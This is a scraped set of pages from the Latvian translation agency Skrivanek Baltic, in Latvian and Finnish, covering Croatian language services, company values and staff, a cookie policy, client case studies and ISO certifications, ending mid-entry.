Abām valstīm ir plaša divpusējā līgumtiesiskā bāze. Par vienu no prioritātēm uzskatāma tirdznieciski ekonomisko sakaru veicināšana, kam vērojams ievērojams potenciāls. Nozīmīgu lomu abu valstu attiecībās ieņem sadarbība kultūrā. Katru gadu Ventspils Rakstnieku namā ierodas autori no Horvātijas, kopš 2015. gada rezidencēs uzturējušies:Petar Coric, Zoran Pilic, Josip Novakovich, Una Vizek,Zeljka Cernok, Una Vizek un Ivan Zrinusic. Latvijas Rakstnieku savienībai ir izveidojusies sadarbība ar Eiropas īsā stāsta festivāliem, kas norit Zagrebā. Latvijas Nacionālā baleta mākslinieciskais vadītājs Aivars Leimanis Horvātijas Nacionālā teātra Splitā baletā ar panākumiem iestudēja Ādolfa Adāna baletu Korsārs 2018. gadā. Latvijas Kultūras akadēmijai sadarbība ar Horvātiju notiek Erasmus+ programmas ietvaros. Ir noslēgti divi līgumi ar Josipa Juraja Štrosmeijera universitāti Osijekā un Zagrebas universitātes Teātra akadēmiju. HORVĀTU VALODAS DIENA Horvātu valodas dienas (horvātu: Dani hrvatskoga jezika) ir senākās neatkarīgās, bezpeļņas un nevalstiskās Horvātijas valsts institūcijas Matica hrvatska, kuras galvenie mērķi ir veicināt horvātu nacionālo un kultūras identitāti mākslas, zinātnes, ekonomikas un sabiedriskās dzīves jomās, izveidots ikgadējs nedēļu ilgs kultūras pasākums, kurā tiek svinēta horvātu valoda. Tas notiek katru gadu no 11. līdz 17. martam. Pirmo reizi Horvātu valodas dienas tika svinētas pēc Horvātijas neatkarības atgūšanas 1991. gadā. 1997. gadā Horvātijas parlaments paziņoja, ka šī nedēļa oficiāli tiks pieminēta Deklarācijā par horvātu pamatvalodas statusu un nosaukumu, kas tika publicēta tieši pirms trīsdesmit gadiem. Nedēļa tiek atzīmēta ar kultūras un literatūras pasākumiem visā Horvātijā, kā arī starp Bosnijas un Hercegovinas horvātiem. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM HORVĀTU VALODĀ: dažādu dokumentu tulkošana horvātu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; horvātu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi horvātu valodā; individuālie horvātu valodas kursi. HORVĀTU VALODAS KOMBINĀCIJAS: horvātu–latviešu; latviešu–horvātu; horvātu–lietuviešu; lietuviešu–horvātu; igauņu–horvātu; horvātu–igauņu; angļu–horvātu; horvātu–angļu; krievu–horvātu; horvātu–krievu; poļu–horvātu; horvātu–poļu; ukraiņu–horvātu; horvātu–ukraiņu; čehu–horvātu; horvātu–čehu; vācu–horvātu; horvātu–vācu; spāņu–horvātu; horvātu–spāņu; franču–horvātu; horvātu–franču; itāļu–horvātu; horvātu–itāļu; dāņu–horvātu; horvātu–dāņu; zviedru–horvātu; horvātu–zviedru; norvēģu–horvātu; horvātu–norvēģu; somu–horvātu; horvātu–somu, horvātu–arābu; arābu–horvātu; horvātu–armēņu, armēņu–horvātu; horvātu–baltkrievu, baltkrievu–horvātu; bulgāru–horvātu, horvātu–bulgāru; horvātu–ebreju, ebreju–horvātu, horvātu–grieķu, grieķu–horvātu; horvātu–gruzīnu; gruzīnu–horvātu; horvātu–hindi; hindi–horvātu; horvātu–holandiešu; holandiešu–horvātu; horvātu–korejiešu; korejiešu–horvātu; horvātu–kurdu; kurdu–horvātu; horvātu–ķīniešu; ķīniešu–horvātu; horvātu–portugāļu; portugāļu–horvātu; horvātu–rumāņu; rumāņu–horvātu; horvātu–slovāku; slovāku–horvātu; horvātu–slovēņu; slovēņu–horvātu; horvātu–turku; turku–horvātu; horvātu–ungāru; ungāru–horvātu u. c. --- > Laadukkaat kielipalvelut yrityksille ja yksityishenkilöille. Yksi maailman suurimmista kielipalvelujen tarjoajista. Tutustu tarkemmin! - Published: 2022-06-22 - Modified: 2024-08-22 - URL: https://skrivanek.lv/skrivanek-baltic/kas-mes-esam/ - Translation Priorities: Optional SKRIVANEK – KÄÄNTÄJÄSI JA KIELIKOULUTUSKESKUKSESI 1 Skrivanek on yksi suurimmista kielipalvelujen tarjoajista maailmassa, ja sillä on yli 25 vuoden kokemus kielipalveluista. Tällä hetkellä sillä on lähes viisikymmentä sivukonttoria useissa maissa ympäri maailmaa. Skrivanek Baltic on toiminut Latviassa vuodesta 2003 tarjoten asiakkailleen korkealaatuisia kielipalveluita. MISSIO Skrivanek Balticin missiona on varmistaa korkealaatuiset kielipalvelut, jotka auttavat henkilö- ja yritysasiakkaitamme varmistamaan helpon ja onnistuneen viestinnän sekä kestävän toiminnan Latviassa ja ulkomailla. VISIO Skrivanek Balticin visiona on olla yritys, jolla on poikkeuksellisen hyvä asiakaspalvelu, korkeat laatustandardit, tyytyväiset työntekijät ja hyvä maine. TAVOITTEET olla sosiaalisesti vastuullinen ja kestävä yritys; esitellä toimialalle innovaatioita yrityksen päivittäisen toiminnan välityksellä; olla luotettava ja ystävällinen kumppani asiakkaillemme ja toimittajillemme; osallistua toimialan kasvuun sekä edistää sen maineen ja laadun kehittämistä Latviassa. ARVOT Ketteryys – olemme ketteriä ja mukaudumme nopeasti alati muuttuvaan teknologia- ja kielimaisemaan sekä asiakkaiden vaatimuksiin. Joustavuutemme varmistaa, että pystymme vastaamaan asiakkaidemme muuttuviin tarpeisiin. Kannustamme tiimissämme kokeiluihin ja edistämme innovaatiokulttuuria ja jatkuvaa parantamista. Teknologiat – otamme käyttöön innovaatiot ja hyödynnämme huipputeknologiaa parantaaksemme kielipalveluidemme tehokkuutta ja laatua. Teknologisen kehityksen omaksuminen on olennainen osa sitoutumistamme innovointiin ja asiakastyytyväisyyteen. Tiimityö ja maailmanlaajuinen yhteistyö – uskomme eri puolilta maailmaa tulevien innokkaiden ammattilaistemme voimiin, jotka työskentelevät yhdessä saavuttaakseen poikkeuksellisia tuloksia. Olemme sitoutuneet luomaan osallistavan ja monipuolisen työympäristön, jossa sekä tiimit että yksilöt voivat menestyä. Vastuullisuus ja arvonluonti – välitämme menestyksestäsi ja olemme sitoutuneet tuomaan lisäarvoa liiketoiminnallesi. Voit luottaa siihen, että saamme oikea-aikaisia, yksilöllisiä ja johdonmukaisia kieliteknologiaratkaisuja. ETUSI, KUN VALITSET MEIDÄT luotettava laatupitkäaikainen kokemuslaaja valikoima palveluitaasiantuntevia kollegoja 17 maassakaikenkattava kielitoimistoalan uusin tekniikkasuuri kapasiteetti suuriin projekteihintunnollinen ja vastuullinen asenneUsein kysytyt kysymykset TYÖNTEKIJÄMME JA TOIMITTAJAMME TIIMIMME Meillä on tällä hetkellä töissä yli 360 täysiaikaista työntekijää. Kaikki työntekijämme hallitsevat vähintään yhden kielen erinomaisesti. Joukossamme on myös kielentutkijoita, tietotekniikan asiantuntijoita, analyytikkoja ja taloustieteilijöitä. KÄÄNTÄJÄT Kaikki käännökset tekevät henkilöt, jotka puhuvat kohdekieltä äidinkielenään – se on virallinen kieli maassa, jossa he asuvat. Monet kääntäjät ovat kääntäjien ammattijärjestöjen jäseniä. Kun olemme saaneet riittävästi tietoa aiheesta, valitsemme kääntäjän tarkoin jokaiseen työhön varmistaaksemme, että löydämme sopivan kääntäjän. OIKOLUKIJAT JA TEKSTINKÄSITTELIJÄT Jokaisen käännöksen tarkistaa oikolukija ja kyseisen toimialan tekstinkäsittelijä, jotka molemmat puhuvat kohdekieltä äidinkielenään. Nämä asiantuntijat varmistavat, että kieli on sujuvaa ja siinä käytetään oikeita käsitteitä. Vasilijs Ragačevičs Johtaja vasilijs@skrivanek. lv Ivars Treskovskis Käännösprojektijohtaja ivars@skrivanek. lv Aiga Matveja Koulutuskeskuksen päällikkö macibas@skrivanek. lv Lelde Calmane Laatuosaston päällikkö lelde@skrivanek. lv Jānis Luns Markkinointipäällikkö janis. luns@skrivanek. lv Jeļena Lapoška Hallintojohtaja jelena. laposka@skrivanek. lv Uldis Krūmiņš IT-päällikkö uldis@skrivanek. lv Dana Laizāne Lokalisointi- ja tekoälyhankkeiden johtaja dana@skrivanek. lv LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  --- - Published: 2022-06-22 - Modified: 2022-06-22 - URL: https://skrivanek.lv/privatuma-politika/pazinojums-par-sikdatnu-lietosanu/ - Translation Priorities: Optional MITÄ EVÄSTEET OVAT? Evästeet ovat pieniä datatiedostoja, joita tarvitaan tiettyjä verkkosivujen toimintoja, kuten sisäänkirjautumista varten. Evästeiden avulla verkkosivut muistavat sivuilla tekemiäsi valintojasi, kuten kieli- ja fonttivalinnat. Tämän vuoksi tallennamme evästeet tietokoneellesi. Myös suurin osa suosituista verkkosivuista ja palveluntarjoajista käyttävät evästeitä. MITÄ VARTEN KÄYTÄMME EVÄSTEITÄ TÄLLÄ VERKKOSIVULLA? Evästeet voidaan jakaa kahteen perustyyppiin niiden keston perusteella. Lyhytkestoiset evästeet (istuntoeväste) pysyvät tietokoneellasi siihen asti, kun suljet verkkoselaimesi, jonka jälkeen ne tuhotaan. Pitkäkestoiset evästeet (pysyvä eväste) pysyvät selaimessasi pidempään (selaimesta ja evästeasetuksista riippuen) tai niin pitkään, että tuhoat ne manuaalisesti. KÄYTÄMME VERKKOSIVUILLAMME SEURAAVANLAISIA EVÄSTEITÄ: Teknisiä evästeitä (lyhytkestoiset evästeet) käytetään verkkosivujen perustoimintoja varten. Näiden evästeiden avulla voit lisätä tuotteita ostoskoriin, tehdä ostotapahtumia ja näyttää verkkosivun version, joka toimiakseen joko vaatii tai ei vaadi JavaScriptiä. YouTube-evästeitä (lyhyt- ja pitkäkestoiset) käytetään YouTube-videosoitinta varten. Nämä evästeet tallennetaan koneellesi heti, kun käynnistät videosoittimen. Google Analytics -evästeiden (pitkäkestoiset) avulla voimme muokata verkkosivujamme paremmin. Käytämme näitä evästeitä Google Analytics -työnkalun käyttäjien käyttäytymisen arviointiin anonyymin datan avulla. AdWords-evästeet (pitkäkestoiset) ovat mainosjärjestelmän luomia evästeitä. Nämä evästeet mahdollistavat myyntikanavien tehokkuuden arvioinnin. Facebook-evästeet (lyhyt- ja pitkäkestoiset) toimivat yhteistyössä Facebook-widgetin kanssa ja ne tallennetaan Facebookin verkkosivuille. Twitter-evästeet (pitkäkestoiset) toimivat Twitter-widgetin kanssa ja ne tallennetaan Twitterin verkkosivuille. Emme koskaan käytä evästeitä tunnistamaan sinua henkilökohtaisesti, emmekä koskaan aseta niihin arkaluontoisia tai henkilökohtaisia tietoja KUINKA EVÄSTEIDEN KÄYTTÖÄ VOIDAAN MUOKATA Voit tuhota mitkä tahansa evästeet, jotka on jo tallennettu tietokoneeseesi. Useimmat selaimet myös tarjoavat mahdollisuuden estää evästeiden käytön, mutta näissä tapauksissa et voi käyttää kaikkia online-palveluitamme. Voit löytää lisätietoja selaimesi evästeasetuksista kunkin verkkoselaimen valmistajan verkkosivuilta. Klikkaa seuraavia linkkejä tarkastellaksesi suosituimpien selaimien asetuksia: Chrome Firefox Internet Explorer Opera Android Voit löytää lisätietoja verkkosivulta AboutCookies. org. GOOGLE ANALYTICSIN KÄYTTÖ Tämä verkkosivu käyttää Google Analytics -palvelua, jonka tarjoaa Google, Inc. (jäljempänä vain “Google”). Google Analytics -palvelu käyttää evästeitä. Google siirtää ja tallentaa verkkosivun käyttötietoja ja kunkin evästeen sisällöt Yhdysvalloissa sijaitseville palvelimille. Google käyttää näitä tietoja verkkosivun käytön arviointia varten ja se laatii sen toimintaa koskevia raportteja, jotka on tarkoitettu operaattorin käyttöä varten, ja tarjoaa lisäpalveluita verkkosivun aktiviteetteja ja internetin käyttöä yleisellä tasolla koskien. Google saattaa myös toimittaa näitä tietoja kolmansille osapuolille mikäli laki niin vaatii, tai jos kolmannet osapuolet prosessoivat Googlen tarjoamia tietoja. Google Analytics -palvelu on laajentunut sisältämään erityisesti seuraavia Googlen tarjoamia mainostoimintoja: Googlen mainosverkoston tarkastelu yleistasolla. Uudelleenmarkkinointi (mainosten näyttäminen sisältöverkostossa etsittyjen tuotteiden perusteella). Laajennetut demografiset yleiskatsaukset (anonyymin demografien datan raportointi). Lisätietoja datan käsittelyä ja käyttöä koskien löytyy Contractual Terms and Conditions of Google -sivulta. GOOGLE ANALYTICS -PALVELUN SEURANNAN KIELTÄMINEN Mikäli haluat estää Google Analyticsin anonyymin datan keräämisen, voit käyttää Googlen tähän tarkoitukseen tarjoamaa liitännäistä. Tämä liitännäinen tulee ladata ja asentaa selaimeesi. Yksityisyyspolitiikka SKRIVANEKIN TIETOSUOJA-ASIANTUNTIJA Uldis Krūmiņš dpo@skrivanek. lv --- - Published: 2022-06-22 - Modified: 2024-01-03 - URL: https://skrivanek.lv/gadijumu-izpete/ - Translation Priorities: Optional Loppuasiakas: Biomet Projekti: kääntäminen – lääketieteelliset ohjeet Lähtökieli: englanti Kohdekielet: tsekki, slovakki, puola, sloveeni, unkari, liettua, latvia, viro Määrä: n. 40 000 sanaaLue lisää Loppuasiakas: Euroopan komissio Projekti: oikeustieteen, maatalousalan ja IT-alan tekstien käännökset Lähtökieli: monet EU-kielet Kohdekielet: tsekki, slovakki, puola, sloveeni, unkari, liettua, latvia, viro, romania, bulgaria Määrä: n. 100 000 sivuaLue lisää Loppuasiakas: GE Healthcare Projekti: lääketeknisten ohjeiden kääntäminen ja graafiset työt Lähtökieli: englanti Kohdekielet: tsekki, bulgaria, kroatia, viro, unkari, liettua, latvia, puola, romania, venäjä, serbia, slovakki, sloveeni, turkki Määrä: n. 8 miljoonaa sanaaLue lisää Loppuasiakas: Geutebrück Projekti: kääntäminen – tekniset asiakirjat ja markkinointitekstit Lähtökieli: saksa Kohdekielet: englanti, ranska, italia, espanja, venäjä, turkki, hollanti, arabia, liettua Määrä: n. 3 miljoonaa sanaaLue lisää Loppuasiakas: Kallfass Projekti: kääntäminen – tekniset asiakirjat ja markkinointitekstit Lähtökieli: saksa Kohdekielet: norja, viro, liettua, suomi, ruotsi, tsekki, unkari, puola, romania, serbia, kreikka, ranska, italia, portugali Määrä: n. 750 000 sanaaLue lisää ETSITKÖ KÄÄNNÖS- TAI TULKKAUSPALVELUITA? Valmistamme sinulle räätälöidyn ratkaisun ja kysymme sinulta kiinnostuksen kohteistasi. Lähetä tiedustelu YLI 25 VUOTTA MARKKINOILLA! Meillä on laaja kokemus eri aihepiirien tekstien kääntämisestä. 0+ Eri kieliyhdistelmää 0+ milj. Käännettyä sanaa vuonna 2023 0+ Kielten asiantuntijaa 0 ISO-sertifikaattia --- - Published: 2022-06-22 - Modified: 2024-01-03 - URL: https://skrivanek.lv/gadijumu-izpete/biomet/ - Translation Priorities: Optional Loppuasiakas: Biomet Projekti: kääntäminen – lääketieteelliset ohjeet Lähtökieli: englanti Kohdekielet: tsekki, slovakki, puola, sloveeni, unkari, liettua, latvia, viro Määrä: n. 40 000 sanaa Biomet on ollut jo yli 30 vuotta johtava yritys ortopedian alalla. Nykyään se on edustettuna yli 100 maassa ja tarjoaa työtä 9000 henkilölle. Yritystä pidetään traumakirurgian alalla erittäin innovatiivisena. Skrivanekin sertifioitu lääketieteen kääntäjien tiimi on kääntänyt Biometille monimutkaisia tekstejä jo vuodesta 2005 alkaen. Ensimmäinen projekti oli tiivis 40 000 sanan kysely, joka piti kääntää englannista kahdeksalle kielelle. Lyhyestä määräajasta ja valtavasta aikapaineesta huolimatta hanke onnistui sujuvasti ja asiakas oli työhön erittäin tyytyväinen. Ottaen huomioon Skrivanekin monivuotisen kokemuksen, sitä pyydettiin lokalisoimaan Biometin tuoteoppaita Keski- ja Itä-Euroopan markkinoille, mikä avasi yritykselle uudet, kannattavat markkinat. Tällä hetkellä Skrivanekilla on koko maailmassa noin 40 sivukonttoria ja siihen kuuluu runsaasti paikallista lokalisointi- ja taitohenkilökuntaa. Säännöllisillä koulutuksilla ja arvioinnilla taataan korkeat laatustandardit, jonka osoittavat standardien ISO 9001 ja EN 17100 mukaiset todistukset. Skrivanekin periaatteen mukaan laatua ei pidetä tilana vaan prosessina, jota voidaan jatkuvasti parantaa. YLI 25 VUOTTA MARKKINOILLA! Meillä on laaja kokemus eri aihepiirien tekstien kääntämisestä. 0+ Eri kieliyhdistelmää 0+ milj. Käännettyä sanaa vuonna 2023 0+ Kielten asiantuntijaa 0 ISO-sertifikaattia --- - Published: 2022-06-22 - Modified: 2024-01-03 - URL: https://skrivanek.lv/gadijumu-izpete/eiropas-komisija/ - Translation Priorities: Optional Loppuasiakas Euroopan komissio Projekti: oikeustieteen, maatalousalan ja IT-alan tekstien käännökset Lähtökieli: monet EU-kielet Kohdekielet: tsekki, slovakki, puola, sloveeni, unkari, liettua, latvia, viro, romania, bulgaria Määrä: n. 100 000 sivua Skrivanek on jo yli 10 vuotta tehnyt käännöksiä Euroopan komissiolle. Keski- ja Itä-Euroopan alueella vuosia toimineella Skrivanekilla on kokemusta erityisesti slaavilaisista ja balttilaisista kielistä. Kyseisiin teksteihin kuuluu oikeustieteen, maatalousalan ja IT-alan käännöksiä. Näin suuressa instituutiossa, jossa lähes jatkuvasti luodaan uusia asiakirjoja, päivitetään ja muutetaan niitä ja jatkuvassa kiireessä niihin ei ehditä syventyä, on terminologinen yhtäläisyys erittäin tärkeää. EU:n toimielinten lainsäädännössä on muodostunut oma kielensä, Sertifioitujen ammattikääntäjien ja käännösohjelmien käytön ansiosta Skrivanekista on tullut luotettava kumppani EU:lle. Tällä hetkellä Skrivanekilla on koko maailmassa noin 40 sivukonttoria ja siihen kuuluu runsaasti paikallista lokalisointi- ja taitohenkilökuntaa. Säännöllisillä koulutuksilla ja arvioinnilla taataan korkeat laatustandardit, jonka osoittavat standardien ISO 9001 ja EN 17100 mukaiset todistukset. Skrivanekin periaatteen mukaan laatua ei pidetä tilana vaan prosessina, jota voidaan jatkuvasti parantaa. YLI 25 VUOTTA MARKKINOILLA! Meillä on laaja kokemus eri aihepiirien tekstien kääntämisestä. 0+ Eri kieliyhdistelmää 0+ milj. Käännettyä sanaa vuonna 2023 0+ Kielten asiantuntijaa 0 ISO-sertifikaattia --- - Published: 2022-06-22 - Modified: 2024-01-03 - URL: https://skrivanek.lv/gadijumu-izpete/ge-healthcare/ - Translation Priorities: Optional Loppuasiakas: GE Healthcare Projekti: lääketeknisten ohjeiden kääntäminen ja graafiset työt Lähtökieli: englanti Kohdekielet: tsekki, bulgaria, kroatia, viro, unkari, liettua, latvia, puola, romania, venäjä, serbia, slovakki, sloveeni, turkki Määrä: n. 8 miljoonaa sanaa GE Healthcare valmistaa tulevaisuuden lääketieteellistä teknologiaa ja toimittaa markkinoille tieto- ja diagnostiikkatekniikkaa, lääketutkimuksia ja biofarmaseuttista valmistusteknologiaa. Yritys työllistää koko maailmassa lähes 50 000 henkeä ja auttaa potilaita yli 100 maassa. Skrivanek käänsi GE Healthcarelle tietokonetomografian tekniset ohjeet englannista 14 kielelle. Noin 8 miljoonan sanan hankkeeseen sisältyi myös tulostusvalmiin ohjeen tietokonetaitto. Kääntäjien kanssa työskenteli tiimi, jossa oli erityisalakääntäjiä, toimittajia, graafikoita ja projektipäälliköitä ja projekti luovutettiin sovittuun määräaikaan mennessä, mikä varmisti asiakkaiden tyytyväisyyden. Kyseiset kielellisen monimutkaisuuden ja määrän osalta vaativat hankkeet on mahdollista suorittaa vain sujuvalla projektinhallinnalla ja tehokkaalla työnohjauksella. Yrityksen sisäisen graafisen suunnittelun studion ansiosta oli mahdollista siirtyä työvaiheesta toiseen viipymättä ja täyttää määräajat optimaalisesti ja myös seurata niitä. Tällä hetkellä Skrivanekilla on koko maailmassa noin 40 sivukonttoria ja siihen kuuluu runsaasti paikallista lokalisointi- ja taitohenkilökuntaa. Säännöllisillä koulutuksilla ja arvioinnilla taataan korkeat laatustandardit, jonka osoittavat standardien ISO 9001 ja EN 17100 mukaiset todistukset. Skrivanekin periaatteen mukaan laatua ei pidetä tilana vaan prosessina, jota voidaan jatkuvasti parantaa. YLI 25 VUOTTA MARKKINOILLA! Meillä on laaja kokemus eri aihepiirien tekstien kääntämisestä. 0+ Eri kieliyhdistelmää 0+ milj. Käännettyä sanaa vuonna 2023 0+ Kielten asiantuntijaa 0 ISO-sertifikaattia --- - Published: 2022-06-22 - Modified: 2024-01-03 - URL: https://skrivanek.lv/gadijumu-izpete/geutebruck/ - Translation Priorities: Optional Loppuasiakas: Geutebrück Projekti: kääntäminen – tekniset asiakirjat ja markkinointitekstit Lähtökieli: saksa Kohdekielet: englanti, ranska, italia, espanja, venäjä, turkki, hollanti, arabia, liettua Määrä: n. 3 miljoonaa sanaa Geutebrück on tunnettu videovalvontajärjestelmien valmistaja ja on tällä hetkellä sijalla 29 maailman 50 menestyksekkäimmän tarjoajan joukossa. Geutebrück kehittää videovalvontajärjestelmiä muun muassa energiasektorille, pankkisektorille ja lainvalvontaelimille. Yhtä monipuolinen kuin Geutebrückin toimiala, on myös sen kielellinen ulottuvuus. Ohjelmisto ja laitteisto on kehitetty ja tuotettu Saksassa ja sitä myydään maailmanlaajuisesti yli 40 maassa ja 200 työntekijän avulla. Tällainen vaativa kansainvälinen suoritus vaatii kokeneita ja päteviä kääntäjiä ja sujuvaa projektijohtamista. Geutebrück löysi Skrivanekista molemmat ja on vuodesta 2006 lähtien ollut Skrivanek Deutschlandin tärkein kumppani. Määräaikojen lyhentämiseksi, mutta etenkin asiakkaan terminologian noudattamiseksi ja siten myös kielellisen yhtenäisyyden varmistamiseksi otettiin heti alussa käyttöön käännösmuistiohjelmat, joiden tarjoamat vastineet tarkastetaan säännöllisesti. Dynaamisen projektinhallinnan ja Skrivanek Deutschlandin ennakoivan ongelmanratkaisun ansiosta myös kaikkein vaativimmat hankkeet valmistuvat aina oikeaan määräaikaan mennessä. YLI 25 VUOTTA MARKKINOILLA! Meillä on laaja kokemus eri aihepiirien tekstien kääntämisestä. 0+ Eri kieliyhdistelmää 0+ milj. Käännettyä sanaa vuonna 2023 0+ Kielten asiantuntijaa 0 ISO-sertifikaattia --- - Published: 2022-06-22 - Modified: 2024-01-03 - URL: https://skrivanek.lv/gadijumu-izpete/kallfass/ - Translation Priorities: Optional Loppuasiakas: Kallfass Projekti: kääntäminen – tekniset asiakirjat ja markkinointitekstit Lähtökieli: saksa Kohdekielet: norja, viro, liettua, suomi, ruotsi, tsekki, unkari, puola, romania, serbia, kreikka, ranska, italia, portugali Määrä: n. 750 000 sanaa Kallfass on jo 50 vuoden ajan ollut edustajineen ja yrityskumppaneineen maailmanlaajuisesti edustettu menestyksekäs yritys muovikalvopakkausteknologian alalla. Kallfassin kehittämiä pakkauskoneita ostavat kansainväliset asiakkaat lähes kaikilta toimialoilta. Näiden erittäin monimutkaisten koneiden kehittämisessä ja tuotannossa vaaditaan erityistä alakohtaista terminologiaa, joka on käännettävä johdonmukaisesti ja tarkasti useille kohdekielille. Skrivanek otti vastaan tämän haasteen tukeutuen ammattitaitoiseen projektinhallintaansa ja uusimpaan käännösohjelmistoon, joka toisaalta takaa terminologisen yhtenäisyyden ja toisaalta säästää aikaa ja rahaa. Kallfass ja Skrivanek ovat olleet läheisiä liikekumppaneita jo vuodesta 2009 lähtien ja palautteiden perusteella yhteistyö on ollut menestyksekäs ja luotettava, mutta yhdessä suunnitellaan myös vielä lupaavampaa tulevaisuutta. YLI 25 VUOTTA MARKKINOILLA! Meillä on laaja kokemus eri aihepiirien tekstien kääntämisestä. 0+ Eri kieliyhdistelmää 0+ milj. Käännettyä sanaa vuonna 2023 0+ Kielten asiantuntijaa 0 ISO-sertifikaattia --- > Palvelujen laadun parantamiseksi ja turvatoimien parantamiseksi Skrivanek on ottanut käyttöön useita hallintajärjestelmiä. - Published: 2022-06-22 - Modified: 2024-10-31 - URL: https://skrivanek.lv/kvalitate-un-drosiba/ - Translation Priorities: Optional Parantaaksemme palveluiden laatua, vahvistaaksemme asemaamme kielipalveluratkaisujen markkinoilla sekä kehittääksemme ympäristöä ja tietoturvatoimenpiteitä, olemme Skrivanek Balticissa ottaneet käyttöömme useita hallintajärjestelmiä. Olemme ylpeitä siitä, että Skrivanek Group oli Keski- ja Itä-Euroopassa ensimmäinen kielipalvelujen tarjoaja, joka täytti täysin ISO 9001 -laadunhallintajärjestelmän vaatimukset ja sai sertifikaatin TÜV Suddeutschland Holdingilta vuonna 2002. Yrityksellämme on myös käännösalan EN 17100:2015 - ammattisertifikaatti, joka määrittelee käännösprosessin vaatimukset ja kaikki siihen liittyvät näkökohdat, mukaan lukien laadun ja jäljitettävyyden osoittamisen. Ympäristöystävällisenä yrityksenä käytämme EN ISO 14001 -standardin mukaista ympäristöjärjestelmää. Olemme täysin tietoisia kaikkeen toimintaamme liittyvistä riskeistä, kun työskentelemme tiedon parissa. Tästä syystä päätimme myös ottaa käyttöön EN ISO/IEC 27001 -standardin mukaisen tietoturvajärjestelmän suojataksemme tietoja tuhoutumiselta, varkauksilta tai väärinkäytöltä. Haluamme luoda uskottavuutta sekä kyvyn suojata tehokkaasti meille ja liikekumppaneillemme, työntekijöillemme, julkiselle ja valtionhallinnolle sekä suurelle yleisölle kuuluvaa omaisuutta koskevia tietoja lainsäädännön ja turvallisuusmääräystemme mukaisesti. Syksyllä 2021 Skrivanek Baltic sai myös ISO 18587 -sertifikaatin, joka vahvistaa, että yritys on ottanut käyttöön kaikki tarvittavat menettelyt konekäännettyjen tekstien laadukkaan jälkikäsittelyn varmistamiseksi. Jälkikäsittelyn muokkausta eli kääntäjän suorittamaa konekäännettyjen tekstien jälkikäsittelyä koskeva kansainvälinen standardi on vielä suhteellisen uusi. EN ISO 9001 Laadunhallintajärjestelmän EN ISO 9001:2015 käyttöönotto todistaa, että yrityksemme on toteuttanut tarvittavat prosessit, jotta palvelumme täyttävät sekä asiakkaiden että lainsäädännön vaatimukset. Avaa sertifikaatti EN ISO 14001 EN ISO 14001:2015-sertifikaatti vahvistaa, että me välitämme ympäristöstä esimerkiksi käyttämällä ympäristöystävällisiä teknologioita ja materiaaleja liiketoiminnassamme, lajittelemalla jätteitä ja tulostamalla asiakirjoja vain silloin, kun se todella on tarpeen. Avaa sertifikaatti EN 17100 Työskentelemme Skrivanekissa käännöspalveluiden kansainvälisen EN 17100:2015 -standardin mukaisesti. Tämä tarkoittaa, että yrityksemme täyttää asetetut vaatimukset asiantuntijoiden valinnan, viestinnän, projektinhallinnan, työmenetelmien, teknologioiden käytön ja muiden toimialakohtaisten ominaisuuksien osalta. Avaa sertifikaatti ISO/IEC 27001 Käytössä oleva ISO/IEC 27001:2022 tietoturvallisuuden hallintajärjestelmä takaa, että yrityksemme on toteuttanut vaadittavat tietoturvatoimenpiteet. Se tarjoaa myös tarvittavan hallinnan kumppaniemme meille uskomien tietojen turvallisuuden ja luottamuksellisuuden varmistamiseksi. Avaa sertifikaatti ISO 18587 Tämä standardi on tarkoitettu kielipalveluyrityksille parantamaan jälkieditointiprosessin laatua mitattavasti ja jatkuvasti. ISO 18587 -auditointi kattaa pääasiassa jälkikäsittelyprosessit ja työnkulun, jossa projektipäällikkö ja toimittaja työskentelevät yhdessä projektin loppuunsaattamiseksi. Avaa sertifikaatti Usein kysytyt kysymykset Meillä on sertifioinnit ISO 9001, EN 17100 ja ISO 27001. Olemme sitoutuneet luottamuksellisuuteen, ottamaan vastuun kaikista töistämme ja olemaan aina ajoissa! EN 17100 asettaa käännösprosessille vaatimuksia, jotka vaikuttavat suoraan käännöspalvelun laatuun ja toimittamiseen. Asiakkaidemme tyytyväisyyden takeeksi olemme allekirjoittaneet kansainvälisen vakuutusyhtiön AIG:n kanssa ammatillisen vastuun sopimuksen. Tarjoamme myös notaarin sertifioimia käännöksiä tai sertifioimme ne itse. Ei, kaikki käännöstilaukset ovat projektipäälliköiden hyväksymiä ja valvomia. Projektipäällikkö muodostaa tehokkaan yhteyden asiakkaan ja toimittajan välille. Skrivanek Balticin kääntäjät ja tulkit voivat tarjota palveluita yli 110 kielellä. Tarjoamme laajan valikoiman kielipalveluita – käännös- ja tulkkauspalveluita, lokalisointipalveluita, tekstin mukauttamista, tekstien kirjoittamista ja taittoa. Tulkkausta järjestetään konferensseissa, liiketapaamisissa ja oikeudenkäyntimenettelyissä. Kääntäminen sisältää erikoiskäännöksiä ja yleisiä käännöksiä eri toimialoille. YLI 25 VUOTTA MARKKINOILLA! Meillä on laaja kokemus eri aihepiirien tekstien kääntämisestä. 0+ Eri kieliyhdistelmää 0+ milj. Käännettyä sanaa vuonna 2023 0+ Kielten asiantuntijaa 0 ISO-sertifikaattia --- > Tämä sertifikaatti on todiste siitä, että Skrivanekin palvelujen laatu vastaa asiakkaiden odotuksia ja lakisääteisiä vaatimuksia. - Published: 2022-06-22 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-iso-9001-kvalitates-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional EN ISO 9001:2015 – LAADUNHALLINTAJÄRJESTELMÄ --- > Tämä sertifikaatti todistaa sitoutumisemme ympäristöön, mukaan lukien ympäristöystävällisten teknologioiden ja materiaalien käyttö, kierrätys jne. - Published: 2022-06-22 - Modified: 